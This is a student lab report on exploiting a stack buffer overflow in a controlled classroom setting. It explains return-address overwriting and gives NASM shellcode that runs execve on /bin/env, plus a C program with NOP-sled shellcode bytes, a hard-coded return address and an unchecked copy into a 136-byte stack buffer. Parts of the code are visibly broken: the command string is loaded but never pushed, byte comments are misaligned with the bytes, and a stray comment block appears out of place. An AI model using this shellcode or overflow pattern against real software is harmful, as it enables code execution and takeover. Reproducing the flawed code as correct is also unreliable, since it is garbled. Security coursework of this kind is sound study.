Documentation 377 Lab 4

Gia Lee, Valerie So, William Robson

Purpose

The purpose of this lab is to gain a further understanding in security risks exploiting a stack overflow by understanding its mechanics and implications through emulating controlled attacks in a secure environment. These controlled attacks include compromising a server program using a standard buffer overflow and brute force guess a secret password.

Lab Content

To compromise the server and with the rgb pointer to have the hexadecimal values of MNOPWXYZ, the string was 160 characters long (144 xs, MNOPWXYZ and 8 xs).

An attack works by exploiting a buffer overflow, executing malicious code to gain control over the program's execution. The process involves carefully crafted inputs that overflow a buffer and manipulating the program's memory. During a buffer overflow, it allows injection and execution of code within the program's memory space. Instructions can be given which performs specific instructions such as granting unauthorized access or taking control of a system. This is done by crafting the Payload. When crafting the payload, first a shell code holding specific instructions in assembly language must be written. Using techniques described in the lab instructions, the attacker prepares a carefully constructed payload, often referred to as shellcode. Then the buffer can be overflowed by sending input data to the server that exceeds the allocated buffer size. Causing the excess data to spill over into adjacent memory regions, including critical areas like the stack. The return address will be then overwritten. The attacker substitutes it with the memory address of their malicious shellcode. As the program continues its execution, it reaches a point where it tries to return to the address stored on the stack as the return address. Since the attacker has overwritten this address with their shellcode's location, the program redirects its execution to the injected malicious code. The injected shellcode executes, effectively giving the attacker control over the program. Depending on the shellcode's functionality, this control have various purposes.. Overall, the attack aims to exploit the buffer overflow vulnerability by manipulating the program's memory layout and control flow, allowing the attacker to execute their own code and achieve their malicious objectives.

Source Code

NASM – exploit.nasm

```
bits 64
start:

  ; Clear RAX register
  xor rax, rax

  ; Load command string ("/bin/env") onto the stack
  xor rdx, rdx
  push rdx
  mov rax, '/bin/env'
```

```
  ; Load pointer to command string into rdi
  mov rdi, rsp

  ; Create argv array
  push rdi
  xor rdx, rdx
  push rdx

  ; Load pointer to the argv array into RSI
  mov rsi, rsp

  ; get required value into RDX
  xor rax, rax                ; Clear RAX register
  mov ax, 0x7fff              ; Load 0x7fff into the low 16 bits of RAX
  shl rdx, 32                 ; Left shift RDX by 32 bits
  mov ecx, 0xf7fbe6ff         ; Load 0xf7fbe6ff into ECX
  xor cl, cl                  ; Clear the low 8 bits of RCX
  or rdx, rcx                 ; Combine registers using the OR instruction
  mov rax, [rdx]              ; Load RAX with the qword (64 bits) from the
memory

  ; Clear RAX register
  xor rax, rax

  ; execve system call
  mov rax, 0x3b
  syscall

  ;Exit sys call
  mov al, 0x3c
  xor edi, edi
  syscall


  ; space for data so stack does not overflow the code
  dq 0xffffffffffffffff
  dq 0xffffffffffffffff
  dq 0xffffffffffffffff
  dq 0xffffffffffffffff
  dq 0xffffffffffffffff
  end: dd end-start
```

selfcomp.c

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void doTest();

int main(int argc, char * argv[]){
```

```
    putenv("MD5=8b7588b30498654be2626aac62ef37a3");
    /* call the vulnerable function */
    doTest();

    exit(0);
}

// VAriable to contain hex bytes of shell code
char compromise[159] = {

    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,  //NOP paddings


    0x48, 0x31, 0xC0, //clear rax register

        // Load command string ("/bin/env") onto the stack
    0x48, 0x31, 0xD2,
    0x52,
    0x48, 0xB8, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x65, 0x6E,
        // Load pointer to command string into rdi
    0x76,
        // Create argv array
    0x48, 0x89, 0xE7,
    0x57,
    0x48,0x31,0xD2,
        // Load pointer to the argv array into RSI
    0x52,

    0x48, 0x89, 0xE6,
    0x48, 0x31, 0xC0,
    0x66, 0xB8, 0xFF, 0x7F,
    0x48, 0xC1, 0xE2, 0x20,
    0xB9, 0xFF, 0xE6, 0xFB, 0xF7,
    0x30, 0xC9,
    0x48, 0x09, 0xCA,
```

```
; Clear RAX register
; Load 0x7fff into the low 16 bits of
; Left shift RDX by 32 bits
; Load 0xf7fbe6ff into ECX
; Clear the low 8 bits of RCX
; Combine registers using the OR inst
; Load RAX with the qword (64 bits) f
```

```
        //Clear RAX register
    0x48, 0x8B, 0x02,

        //exceve system call
    0x48, 0x31, 0xC0,
    0xB8, 0x3B, 0x00, 0x00, 0x00,

        //exit system call
    0x0F, 0x05,
    0xB0, 0x3C,
    0x31, 0xFF,
```

```
    0x0F, 0x05,

    0xff, 0xff, 0xff, 0xff, 0xff, 0xf7 //return address
};

// string variable to probe the stack and find the correct
// values for the shell code.


char * compromise1 =
    "xxxxxxxxxxxxxxxxxxxx"
    "xxxxxxxxxxxxxxxxxxxx"
    "xxxxxxxxxxxxxxxxxxxx"
    "xxxxxxxxxxxxxxxxxxxx"
    "xxxxxxxxxxxxxxxxxxxx"
    "xxxxxxxxxxxxxxxxxxxx"
    "xxxxxxxxxxxxxxxxxxxx"
    "xxxx"
    "MNOPWXYZ"
    "xxxxxxxx"
    ;

int i;

void doTest(){
    char buffer[136];
    /* copy the contents of the compromise
       string onto the stack
       - change compromise1 to compromise
         when shell code is written */
    for (i = 0; compromise1[i]; i++){
        buffer[i] = compromise1[i];
    }
}
```